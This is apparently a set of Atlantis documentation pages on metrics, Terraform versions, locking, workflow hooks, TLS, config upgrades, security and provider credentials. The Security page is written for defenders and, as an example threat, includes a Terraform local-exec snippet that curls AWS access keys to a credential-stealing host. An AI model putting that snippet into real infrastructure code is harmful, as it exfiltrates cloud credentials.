atlantis_cmd_autoplan_builder_execution_success counter # TYPE atlantis_cmd_autoplan_builder_execution_success counter atlantis_cmd_autoplan_builder_execution_success 10 # HELP atlantis_cmd_autoplan_builder_execution_time atlantis_cmd_autoplan_builder_execution_time summary # TYPE atlantis_cmd_autoplan_builder_execution_time summary atlantis_cmd_autoplan_builder_execution_time{quantile="0.5"} NaN atlantis_cmd_autoplan_builder_execution_time{quantile="0.75"} NaN atlantis_cmd_autoplan_builder_execution_time{quantile="0.95"} NaN atlantis_cmd_autoplan_builder_execution_time{quantile="0.99"} NaN atlantis_cmd_autoplan_builder_execution_time{quantile="0.999"} NaN atlantis_cmd_autoplan_builder_execution_time_sum 11.42403017 atlantis_cmd_autoplan_builder_execution_time_count 10 ..... ..... ..... NOTE The output shown above is trimmed, since with every new version release this metric set will need to be updated accordingly as there may be a case if some metrics are added/modified/deprecated, so the output shown above just gives a brief idea of how these metrics look like and rest can be explored. Important metrics to monitor are | Metric Name | Metric Type | Purpose | | --- | --- | --- | | `atlantis_cmd_autoplan_execution_error` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when [autoplan](https://www.runatlantis.io/docs/autoplanning#autoplanning)
has thrown error. | | `atlantis_cmd_comment_plan_execution_error` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when on commenting `atlantis plan` has thrown error. | | `atlantis_cmd_autoplan_execution_success` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when [autoplan](https://www.runatlantis.io/docs/autoplanning#autoplanning)
has run successfully. | | `atlantis_cmd_comment_apply_execution_error` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when on commenting `atlantis apply` has thrown error. | | `atlantis_cmd_comment_apply_execution_success` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when on commenting `atlantis apply` has run successfully. | NOTE There are plenty of additional metrics exposed by atlantis that are not described above. --- # Terraform Versions | Atlantis [Skip to content](https://www.runatlantis.io/docs/terraform-versions#VPContent) On this page Terraform Versions [​](https://www.runatlantis.io/docs/terraform-versions#terraform-versions) ============================================================================================== You can customize which version of Terraform Atlantis defaults to by setting the `--default-tf-version` flag (ex. `--default-tf-version=v1.3.7`). Via `atlantis.yaml` [​](https://www.runatlantis.io/docs/terraform-versions#via-atlantis-yaml) ---------------------------------------------------------------------------------------------- If you wish to use a different version than the default for a specific repo or project, you need to create an `atlantis.yaml` file and set the `terraform_version` key: yaml version: 3 projects: - dir: . terraform_version: v1.1.5 See [atlantis.yaml Use Cases](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#terraform-versions) for more details. Via terraform config [​](https://www.runatlantis.io/docs/terraform-versions#via-terraform-config) -------------------------------------------------------------------------------------------------- Alternatively, one can use the terraform configuration block's `required_version` key to specify an exact version (`x.y.z` or `= x.y.z`), or as of [atlantis v0.21.0](https://github.com/runatlantis/atlantis/releases/tag/v0.21.0) , a comparison or pessimistic [version constraint](https://developer.hashicorp.com/terraform/language/expressions/version-constraints#version-constraint-syntax) : ### Exactly version 1.2.9 [​](https://www.runatlantis.io/docs/terraform-versions#exactly-version-1-2-9) tf terraform { required_version = "= 1.2.9" } ### Any patch/tiny version of minor version 1.2 (1.2.z) [​](https://www.runatlantis.io/docs/terraform-versions#any-patch-tiny-version-of-minor-version-1-2-1-2-z) tf terraform { required_version = "~> 1.2.0" } ### Any minor version of major version 1 (1.y.z) [​](https://www.runatlantis.io/docs/terraform-versions#any-minor-version-of-major-version-1-1-y-z) tf terraform { required_version = "~> 1.2" } ### Any version that is at least 1.2.0 [​](https://www.runatlantis.io/docs/terraform-versions#any-version-that-is-at-least-1-2-0) tf terraform { required_version = ">= 1.2.0" } See [Terraform `required_version`](https://developer.hashicorp.com/terraform/language/terraform#terraform-required_version) for reference. NOTE Atlantis will automatically download the latest version that fulfills the constraint specified. A `terraform_version` specified in the `atlantis.yaml` file takes precedence over both the [`--default-tf-version`](https://www.runatlantis.io/docs/server-configuration#default-tf-version) flag and the `required_version` in the terraform hcl. When a project sets `terraform_distribution`, Atlantis resolves the `required_version` constraint against that distribution. For example, an OpenTofu project resolves to an OpenTofu version instead of a Terraform version. OpenTofu `.tofu` file support [​](https://www.runatlantis.io/docs/terraform-versions#opentofu-tofu-file-support) ----------------------------------------------------------------------------------------------------------------- When the effective distribution is OpenTofu, Atlantis reads `required_version` from `.tofu` and `.tofu.json` files in addition to `.tf` and `.tf.json`. The effective distribution is OpenTofu when either: * A project sets `terraform_distribution: opentofu` in `atlantis.yaml` * The server default is `--default-tf-distribution=opentofu` and the project does not override it If a project explicitly sets `terraform_distribution: terraform`, Atlantis uses the Terraform version-detection path (`.tf` / `.tf.json` only) even if the server default is OpenTofu. OpenTofu file precedence is respected: a `.tofu` file overrides a same-basename `.tf` file, and `.tofu.json` overrides a same-basename `.tf.json` file. Files with different basenames both contribute constraints independently. Terraform distribution is unaffected and continues to read only `.tf` / `.tf.json` files. Known limitation Module autoplanning (`--autoplan-modules`) dependency indexing still relies on `terraform-config-inspect` and does not fully understand `.tofu` / `.tofu.json`: 1. Module source blocks defined only in `.tofu` / `.tofu.json` files are not indexed. Projects using these files for `module {}` blocks will not be planned when shared modules change. 2. Shared module directories containing only `.tofu` / `.tofu.json` files may not be recognized as modules by the dependency index. Direct file-change autoplanning (without `--autoplan-modules`) is fully supported for `.tofu` projects. As a workaround for module dependencies, include shared module paths in explicit `autoplan.when_modified` patterns, or keep module source declarations in `.tf` files until full `.tofu` module indexing is implemented. Terraform Cloud workspace detection (`cloud { workspaces { ... } }`) supports `.tf`, `.tf.json`, `.tofu`, and `.tofu.json` files for **autodiscovered projects**. `.tofu` and `.tofu.json` are only scanned when the server default distribution (`--default-tf-distribution`) is OpenTofu. Same-basename precedence applies in OpenTofu mode: `.tofu` overrides `main.tf`, `.tofu.json` overrides `main.tf.json`. Projects with Terraform server default read `.tf` and `.tf.json` but ignore `.tofu` / `.tofu.json`. For explicitly configured projects in `atlantis.yaml`, set the `workspace:` field directly — workspace HCL scanning is not used for configured projects regardless of distribution. NOTE The Atlantis [latest docker image](https://github.com/runatlantis/atlantis/pkgs/container/atlantis/9854680?tag=latest) tends to have recent versions of Terraform, but there may be a delay as new versions are released. The highest version of Terraform allowed in your code is the version specified by `DEFAULT_TERRAFORM_VERSION` in the image your server is running. --- # Locking | Atlantis [Skip to content](https://www.runatlantis.io/docs/locking#VPContent) On this page Locking [​](https://www.runatlantis.io/docs/locking#locking) ============================================================= When `plan` is run, the directory and Terraform workspace are **Locked** until the pull request is merged or closed, or the plan is manually deleted. If another user attempts to `plan` for the same directory and workspace in a different pull request they'll see this error: ![Lock Comment](https://www.runatlantis.io/assets/lock-comment.CHfILilb.png) Which links them to the pull request that holds the lock. NOTE Only the directory in the repo and Terraform workspace are locked, not the whole repo. Atlantis also checks the global apply lock before running `atlantis apply`. If Atlantis cannot reach the lock backend while checking that global lock, it fails closed and rejects the apply until the backend is reachable again. Why [​](https://www.runatlantis.io/docs/locking#why) ----------------------------------------------------- 1. Because `atlantis apply` is being done before the pull request is merged, after an apply your `main` branch does not represent the most up-to-date version of your infrastructure anymore. With locking, you can ensure that no other changes will be made until the pull request is merged. Why not apply on merge? Sometimes `terraform apply` fails. If the apply were to fail after the pull request was merged, you would need to create a new pull request to fix it. With locking + applying on the branch, you effectively mimic merging to main but with the added ability to re-plan/apply multiple times if things don't work. 2. If there is already a `plan` in progress, other users won't see a plan that will be made invalid after the in-progress plan is applied. Viewing Locks [​](https://www.runatlantis.io/docs/locking#viewing-locks) ------------------------------------------------------------------------- To view locks, go to the URL that Atlantis is hosted at: ![Locks View](https://www.runatlantis.io/assets/locks-ui.Dgj-2t2X.png) You can click on a lock to view its details: ![Lock Detail View](https://www.runatlantis.io/assets/lock-detail-ui.gxoWV8RY.png) Unlocking [​](https://www.runatlantis.io/docs/locking#unlocking) ----------------------------------------------------------------- The project and workspace will be automatically unlocked when the PR is merged or closed. To unlock the project and workspace without completing an `apply` and merging, comment `atlantis unlock` on the PR, or click the link at the bottom of the plan comment to discard the plan and delete the lock where it says **"To discard this plan click here"**: ![Locks View](https://www.runatlantis.io/assets/lock-delete-comment.Ck3abZEV.png) The link will take you to the lock detail view where you can click **Discard Plan and Unlock** to delete the lock. ![Lock Detail View](https://www.runatlantis.io/assets/lock-detail-ui.gxoWV8RY.png) Once a plan is discarded, you'll need to run `plan` again prior to running `apply` when you go back to that pull request. Relationship to Terraform State Locking [​](https://www.runatlantis.io/docs/locking#relationship-to-terraform-state-locking) ----------------------------------------------------------------------------------------------------------------------------- Atlantis does not conflict with [Terraform State Locking](https://developer.hashicorp.com/terraform/language/state/locking) . Under the hood, all Atlantis is doing is running `terraform plan` and `apply` and so all of the locking built in to those commands by Terraform isn't affected. In more detail, Terraform state locking locks the state while you run `terraform apply` so that multiple applies can't run concurrently. Atlantis's locking is at a higher level because it prevents multiple pull requests from working on the same state. Locking and Drift Detection [​](https://www.runatlantis.io/docs/locking#locking-and-drift-detection) ----------------------------------------------------------------------------------------------------- When drift detection or remediation runs via the [API](https://www.runatlantis.io/docs/api-endpoints) with `PR: 0` (non-PR workflow), Atlantis still acquires and releases working directory locks to prevent concurrent operations on the same project. However, since these operations are not associated with a pull request, they do not create PR-level locks visible in the Locks UI. The working directory lock is released automatically after each drift detection or remediation operation completes. --- # Post Workflow Hooks | Atlantis [Skip to content](https://www.runatlantis.io/docs/post-workflow-hooks#VPContent) On this page Post Workflow Hooks [​](https://www.runatlantis.io/docs/post-workflow-hooks#post-workflow-hooks) ================================================================================================= Post workflow hooks can be defined to run scripts after default or custom workflows are executed. Post workflow hooks differ from [custom workflows](https://www.runatlantis.io/docs/custom-workflows#custom-run-command) in that they are run outside of Atlantis commands. Which means they do not surface their output back to the PR as a comment. Usage [​](https://www.runatlantis.io/docs/post-workflow-hooks#usage) --------------------------------------------------------------------- Post workflow hooks can only be specified in the Server-Side Repo Config under the `repos` key. Atlantis Command Targeting [​](https://www.runatlantis.io/docs/post-workflow-hooks#atlantis-command-targeting) --------------------------------------------------------------------------------------------------------------- By default, the workflow hook will run when any command is processed by Atlantis. This can be modified by specifying the `commands` key in the workflow hook containing a comma-delimited list of Atlantis commands that the hook should be run for. Detail of the Atlantis commands can be found in [Using Atlantis](https://www.runatlantis.io/docs/using-atlantis) . ### Example [​](https://www.runatlantis.io/docs/post-workflow-hooks#example) yaml repos: - id: /.*/ post_workflow_hooks: - run: ./plan-hook.sh description: Plan Hook commands: plan - run: ./plan-apply-hook.sh description: Plan & Apply Hook commands: plan, apply Use Cases [​](https://www.runatlantis.io/docs/post-workflow-hooks#use-cases) ----------------------------------------------------------------------------- ### Cost estimation reporting [​](https://www.runatlantis.io/docs/post-workflow-hooks#cost-estimation-reporting) You can add a post workflow hook to perform custom reporting after all workflows have finished. In this example we use a custom workflow to generate cost estimates for each workflow using [Infracost](https://www.infracost.io/docs/integrations/cicd/#cicd-integrations) , then create a summary report after all workflows have completed. yaml # repos.yaml workflows: myworkflow: plan: steps: - init - plan - run: infracost breakdown --path=$PLANFILE --format=json --out-file=/tmp/$BASE_REPO_OWNER-$BASE_REPO_NAME-$PULL_NUM-$WORKSPACE-$REPO_REL_DIR-infracost.json repos: - id: /.*/ workflow: myworkflow post_workflow_hooks: - run: infracost output --path=/tmp/$BASE_REPO_OWNER-$BASE_REPO_NAME-$PULL_NUM-*-infracost.json --format=github-comment --out-file=/tmp/infracost-comment.md description: Running infracost # Now report the output as desired, e.g. post to GitHub as a comment. # ... Customizing the Shell [​](https://www.runatlantis.io/docs/post-workflow-hooks#customizing-the-shell) ----------------------------------------------------------------------------------------------------- By default, the commands will be run using the 'sh' shell with an argument of '-c'. This can be customized using the `shell` and `shellArgs` keys. Example: yaml repos: - id: /.*/ post_workflow_hooks: - run: | echo 'atlantis.yaml config:' cat atlantis.yaml description: atlantis.yaml report shell: bash shellArgs: -cv Reference [​](https://www.runatlantis.io/docs/post-workflow-hooks#reference) ----------------------------------------------------------------------------- ### Custom `run` Command [​](https://www.runatlantis.io/docs/post-workflow-hooks#custom-run-command) This is very similar to [custom workflow run command](https://www.runatlantis.io/docs/custom-workflows#custom-run-command) . yaml - run: custom-command | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | run | string | none | no | Run a custom command | | description | string | none | no | Post hook description | | shell | string | 'sh' | no | The shell to use for running the command | | shellArgs | string | '-c' | no | The shell arguments to use for running the command | Notes * `run` commands are executed with the following environment variables: * `BASE_REPO_NAME` - Name of the repository that the pull request will be merged into, ex. `atlantis`. * `BASE_REPO_OWNER` - Owner of the repository that the pull request will be merged into, ex. `runatlantis`. * `HEAD_REPO_NAME` - Name of the repository that is getting merged into the base repository, ex. `atlantis`. * `HEAD_REPO_OWNER` - Owner of the repository that is getting merged into the base repository, ex. `acme-corp`. * `HEAD_BRANCH_NAME` - Name of the head branch of the pull request (the branch that is getting merged into the base) * `HEAD_COMMIT` - The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. * `BASE_BRANCH_NAME` - Name of the base branch of the pull request (the branch that the pull request is getting merged into) * `PULL_NUM` - Pull request number or ID, ex. `2`. * `PULL_URL` - Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`. * `PULL_AUTHOR` - Username of the pull request author, ex. `acme-user`. * `DIR` - The absolute path to the root of the cloned repository. * `USER_NAME` - Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`. * `COMMENT_ARGS` - Any additional flags passed in the comment on the pull request. Flags are separated by commas and every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. * `COMMAND_NAME` - The name of the command that is being executed, i.e. `plan`, `apply` etc. * `COMMAND_HAS_ERRORS` - Indicates whether any errors occurred during the execution of the command (`plan`, `apply`). If set to `true`, at least one error was encountered; otherwise, it is `false`. * `OUTPUT_STATUS_FILE` - An output file to customize the success or failure status. ex. `echo 'failure' > $OUTPUT_STATUS_FILE`. * `PROJECT_NAME` - Project name passed by the `-p` option. If `-p` is not provided, this value is empty. --- # HTTPS, SSL, TLS | Atlantis [Skip to content](https://www.runatlantis.io/docs/troubleshooting-https#VPContent) Return to top HTTPS, SSL, TLS [​](https://www.runatlantis.io/docs/troubleshooting-https#https-ssl-tls) ========================================================================================= When using a self-signed certificate for Atlantis (with flags `--ssl-cert-file` and `--ssl-key-file`), there are a few considerations. Atlantis uses the web server from the standard Go library, the method name is [ListenAndServeTLS](https://pkg.go.dev/net/http#ListenAndServeTLS) . `ListenAndServeTLS` acts identically to [ListenAndServe](https://pkg.go.dev/net/http#ListenAndServe) , except that it expects HTTPS connections. Additionally, files containing a certificate and matching private key for the server must be provided. If the certificate is signed by a certificate authority, the file passed to `--ssl-cert-file` should be the concatenation of the server's certificate, any intermediates, and the CA's certificate. If you have this error when specifying a TLS cert with a key: plain [ERROR] server.go:413 server: Tls: private key does not match public key Check that the locally signed certificate authority is prepended to the self-signed certificate. A good example is shown at [Seth Vargo terraform implementation of atlantis-on-gke](https://github.com/sethvargo/atlantis-on-gke/blob/master/terraform/tls.tf#L64-L84) For Go specific TLS resources have a look at the repository by [denji called golang-tls](https://github.com/denji/golang-tls) . For a complete explanation on PKI, read this [article](https://smallstep.com/blog/everything-pki.html) . --- # Upgrading atlantis.yaml | Atlantis [Skip to content](https://www.runatlantis.io/docs/upgrading-atlantis-yaml#VPContent) On this page Upgrading atlantis.yaml [​](https://www.runatlantis.io/docs/upgrading-atlantis-yaml#upgrading-atlantis-yaml) ============================================================================================================= Upgrading From v2 To v3 [​](https://www.runatlantis.io/docs/upgrading-atlantis-yaml#upgrading-from-v2-to-v3) ------------------------------------------------------------------------------------------------------------- Atlantis version `v0.7.0` introduced a new version 3 of `atlantis.yaml`. **If you're not using [custom `run` steps](https://www.runatlantis.io/docs/custom-workflows#custom-run-command) , then you can upgrade from `version: 2` to `version: 3` without any changes.** **NOTE:** Version 2 **is not being deprecated** and there is no need to upgrade your version if you don't wish to do so. The only change from v2 to v3 is that we're parsing custom `run` steps differently. yaml # atlantis.yaml workflows: custom: plan: steps: - run: my custom command _An example workflow using a custom run step_ Previously, we used a library that would parse the custom step prior to running it. Now, we just run the step directly. This will only affect your steps if they were using shell escaping of some sort. For example, if your step was previously: yaml # version: 2 - run: "printf \'print me\'" You can now write this in version 3 as: yaml # version: 3 - run: "printf 'print me'" Upgrading From V1 To V3 [​](https://www.runatlantis.io/docs/upgrading-atlantis-yaml#upgrading-from-v1-to-v3) ------------------------------------------------------------------------------------------------------------- If you are upgrading from an **old** Atlantis version `<=v0.3.10` (from before July 4, 2018) you'll need to follow the following steps. ### Single atlantis.yaml [​](https://www.runatlantis.io/docs/upgrading-atlantis-yaml#single-atlantis-yaml) If you had multiple `atlantis.yaml` files per directory then you'll need to consolidate them into a single `atlantis.yaml` file at the root of the repo. For example, if you had a directory structure: plain . ├── project1 │ └── atlantis.yaml └── project2 └── atlantis.yaml Then your new structure would look like: plain . ├── atlantis.yaml ├── project1 └── project2 And your `atlantis.yaml` would look something like: yaml version: 2 projects: - dir: project1 terraform_version: my-version workflow: project1-workflow - dir: project2 terraform_version: my-version workflow: project2-workflow workflows: project1-workflow: ... project2-workflow: ... We will talk more about `workflows` below. ### Terraform Version [​](https://www.runatlantis.io/docs/upgrading-atlantis-yaml#terraform-version) The `terraform_version` key moved from being a top-level key to being per `project` so if before your `atlantis.yaml` was in directory `mydir` and looked like: yaml terraform_version: 0.11.0 Then your new config would be: yaml version: 2 projects: - dir: mydir terraform_version: 0.11.0 ### Workflows [​](https://www.runatlantis.io/docs/upgrading-atlantis-yaml#workflows) Workflows are the new way to set all `pre_*`, `post_*` and `extra_arguments`. Each `project` can have a custom workflow via the `workflow` key. yaml version: 2 projects: - dir: . workflow: myworkflow Workflows are defined as a top-level key: yaml version: 2 projects: ... workflows: myworkflow: ... To start with, determine whether you're customizing commands that happen during `plan` or `apply`. You then set that key under the workflow's name: yaml ... workflows: myworkflow: plan: steps: ... apply: steps: ... If you're not customizing a specific stage then you can omit that key. For example if you're only customizing the commands that happen during `plan` then your config will look like: yaml ... workflows: myworkflow: plan: steps: ... #### Extra Arguments [​](https://www.runatlantis.io/docs/upgrading-atlantis-yaml#extra-arguments) `extra_arguments` is now specified as follows. Given a previous config: yaml extra_arguments: - command_name: init arguments: - "-lock=false" - command_name: plan arguments: - "-lock=false" - command_name: apply arguments: - "-lock=false" Your config would now look like: yaml ... workflows: myworkflow: plan: steps: - init: extra_args: ["-lock=false"] - plan: extra_args: ["-lock=false"] apply: steps: - apply: extra_args: ["-lock=false"] #### Pre/Post Commands [​](https://www.runatlantis.io/docs/upgrading-atlantis-yaml#pre-post-commands) Instead of using `pre_*` or `post_*`, you now can insert your custom commands before/after the built-in commands. Given a previous config: yaml pre_init: commands: - "curl http://example.com" # pre_get commands are run when the Terraform version is < 0.9.0 pre_get: commands: - "curl http://example.com" pre_plan: commands: - "curl http://example.com" post_plan: commands: - "curl http://example.com" pre_apply: commands: - "curl http://example.com" post_apply: commands: - "curl http://example.com" Your config would now look like: yaml ... workflows: myworkflow: plan: steps: - run: curl http://example.com - init - plan - run: curl http://example.com apply: steps: - run: curl http://example.com - apply - run: curl http://example.com TIP It's important to include the built-in commands: `init`, `plan` and `apply`. Otherwise Atlantis won't run the necessary commands to actually plan/apply. --- # Security | Atlantis [Skip to content](https://www.runatlantis.io/docs/security#VPContent) On this page Security [​](https://www.runatlantis.io/docs/security#security) ================================================================ Exploits [​](https://www.runatlantis.io/docs/security#exploits) ---------------------------------------------------------------- Because you usually run Atlantis on a server with credentials that allow access to your infrastructure it's important that you deploy Atlantis securely. Atlantis could be exploited by * An attacker submitting a pull request that contains a malicious Terraform file that uses a malicious provider or an [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) that Atlantis then runs `terraform plan` on (which it does automatically unless you've turned off automatic plans). * Running `terraform apply` on a malicious Terraform file with [local-exec](https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec) tf resource "null_resource" "null" { provisioner "local-exec" { command = "curl https://cred-stealer.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" } } * Running malicious custom build commands specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** `main`. * Someone adding `atlantis plan/apply` comments on your valid pull requests causing terraform to run when you don't want it to. Mitigations [​](https://www.runatlantis.io/docs/security#mitigations) ---------------------------------------------------------------------- ### Don't Use On Public Repos [​](https://www.runatlantis.io/docs/security#don-t-use-on-public-repos) Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings. ### Don't Use `--allow-fork-prs` [​](https://www.runatlantis.io/docs/security#don-t-use-allow-fork-prs) If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo. ### `--repo-allowlist` [​](https://www.runatlantis.io/docs/security#repo-allowlist) Atlantis requires you to specify an allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example: * Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` * Your whole organization: `--repo-allowlist=github.com/runatlantis/*` * Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*` * You can also omit specific repos: `--repo-allowlist='github.com/runatlantis/*,!github.com/runatlantis/untrusted-repo'` * All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret. This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details. ### Protect Terraform Planning [​](https://www.runatlantis.io/docs/security#protect-terraform-planning) If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials. To prevent this, you could: 1. Bake providers into the Atlantis image or host and deny egress in production. 2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry. 3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config) 's `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here. ### `--var-file-allowlist` [​](https://www.runatlantis.io/docs/security#var-file-allowlist) The files on your Atlantis install may be accessible as [variable definition files](https://developer.hashicorp.com/terraform/language/values/variables#variable-definitions-tfvars-files) from pull requests by adding `atlantis plan -- -var-file=/path/to/file` comments. To mitigate this security risk, Atlantis has limited such access only to the files allowlisted by the `--var-file-allowlist` flag. If this argument is not provided, it defaults to Atlantis' data directory. ### Webhook Secrets [​](https://www.runatlantis.io/docs/security#webhook-secrets) Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab). Tip If you are using Azure DevOps, instead of webhook secrets add a [basic username and password](https://www.runatlantis.io/docs/security#azure-devops-basic-authentication) ### Azure DevOps Basic Authentication [​](https://www.runatlantis.io/docs/security#azure-devops-basic-authentication) Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location. ### SSL/HTTPS [​](https://www.runatlantis.io/docs/security#ssl-https) If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags. ### Enable Authentication on Atlantis Web Server [​](https://www.runatlantis.io/docs/security#enable-authentication-on-atlantis-web-server) It is highly recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and set up a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags. You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`. Tip We do encourage the usage of complex passwords in order to prevent basic bruteforcing attacks. --- # Custom Policy Checks | Atlantis [Skip to content](https://www.runatlantis.io/docs/custom-policy-checks#VPContent) On this page Custom Policy Checks [​](https://www.runatlantis.io/docs/custom-policy-checks#custom-policy-checks) ==================================================================================================== If you want to run custom policy tools or scripts instead of the built-in Conftest integration, you can do so by setting the `custom_policy_check` option and running it in a custom workflow. Note: custom policy tool output is simply parsed for "fail" substrings to determine if the policy set passed. This option can be configured either at the server-level in a [repos.yaml config file](https://www.runatlantis.io/docs/server-configuration) or at the repo-level in an [atlantis.yaml file](https://www.runatlantis.io/docs/repo-level-atlantis-yaml) . TIP Custom policy checks support [sticky policy approvals](https://www.runatlantis.io/docs/policy-checking#sticky-policy-approvals) . Use `policy_item_regex` to target the meaningful failure lines in your tool's output. Server-side config example [​](https://www.runatlantis.io/docs/custom-policy-checks#server-side-config-example) ---------------------------------------------------------------------------------------------------------------- Set the `policy_check` and `custom_policy_check` options to true, and run the custom tool in the policy check steps as seen below. yaml repos: - id: /.*/ branch: /^main$/ apply_requirements: [mergeable, undiverged, approved] policy_check: true custom_policy_check: true workflow: custom workflows: custom: policy_check: steps: - show - run: cnspec scan terraform plan $SHOWFILE --policy-bundle example-cnspec-policies.mql.yaml policies: owners: users: - example_ghuser policy_sets: - name: example-set path: example-cnspec-policies.mql.yaml source: local Repo-level atlantis.yaml example [​](https://www.runatlantis.io/docs/custom-policy-checks#repo-level-atlantis-yaml-example) ---------------------------------------------------------------------------------------------------------------------------- First, you will need to ensure `custom_policy_check` is within the `allowed_overrides` field of the server-side config. Next, just set the custom option to true on the specific project you want as shown in the example `atlantis.yaml` below: yaml version: 3 projects: - name: example dir: ./example custom_policy_check: true autoplan: when_modified: ["*.tf"] --- # Provider Credentials | Atlantis [Skip to content](https://www.runatlantis.io/docs/provider-credentials#VPContent) On this page Provider Credentials [​](https://www.runatlantis.io/docs/provider-credentials#provider-credentials) ==================================================================================================== Atlantis runs Terraform by simply executing `terraform plan` and `apply` commands on the server Atlantis is hosted on. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider. It's up to you how you provide credentials for your specific provider to Atlantis: * The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment#aws-fargate) have their own mechanisms for provider credentials. Read their docs. * If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex: * [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role") * [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) * Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running. * Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running. * Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials. TIP As a general rule, if you can `ssh` or `exec` into the server where Atlantis is running and run `terraform` commands like you would locally, then Atlantis will work. AWS Specific Info [​](https://www.runatlantis.io/docs/provider-credentials#aws-specific-info) ---------------------------------------------------------------------------------------------- ### Multiple AWS Accounts [​](https://www.runatlantis.io/docs/provider-credentials#multiple-aws-accounts) Atlantis supports multiple AWS accounts through the use of Terraform's [AWS Authentication](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "Authentication"). If you're using the [Shared Credentials file](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "Shared Credentials file") you'll need to ensure the server that Atlantis is executing on has the corresponding credentials file. If you're using [Assume role](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "Assume role") you'll need to ensure that the credentials file has a `default` profile that is able to assume all required roles. Using multiple [Environment variables](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "Environment variables") won't work for multiple accounts since Atlantis wouldn't know which environment variables to execute Terraform with. ### Assume Role Session Names [​](https://www.runatlantis.io/docs/provider-credentials#assume-role-session-names) If you're using Terraform < 0.12, Atlantis injects 5 Terraform variables that can be used to dynamically name the assume role session name. Setting the `session_name` allows you to trace API calls made through Atlantis back to a specific user and repo via CloudWatch: bash provider "aws" { assume_role { role_arn = "arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME" session_name = "${var.atlantis_user}-${var.atlantis_repo_owner}-${var.atlantis_repo_name}-${var.atlantis_pull_num}" } } Atlantis runs `terraform` with the following variables: | `-var` Argument | Description | | --- | --- | | `atlantis_user=lkysow` | The VCS username of who is running the plan command. | | `atlantis_repo=runatlantis/atlantis` | The full name of the repo the pull request is in. NOTE: This variable can't be used in the AWS session name because it contains a `/`. | | `atlantis_repo_owner=runatlantis` | The name of the **owner** of the repo the pull request is in. | | `atlantis_repo_name=atlantis` | The name of the repo the pull request is in. | | `atlantis_pull_num=200` | The pull request number. | If you want to use `assume_role` with Atlantis and you're also using the [S3 Backend](https://developer.hashicorp.com/terraform/language/settings/backends/s3) , make sure to add the `role_arn` option: bash terraform { backend "s3" { bucket = "mybucket" key = "path/to/my/key" region = "us-east-1" role_arn = "arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME" # can't use var.atlantis_user as the session name because # interpolations are not allowed in backend configuration # session_name = "${var.atlantis_user}" WON'T WORK } } Why does this not work in TF >= 0.12? In Terraform >= 0.12, you're not allowed to set any `-var` flags if those variables aren't being used. Since we can't know if you're using these `atlantis_*` variables, we can't set the `-var` flag. You can still set these 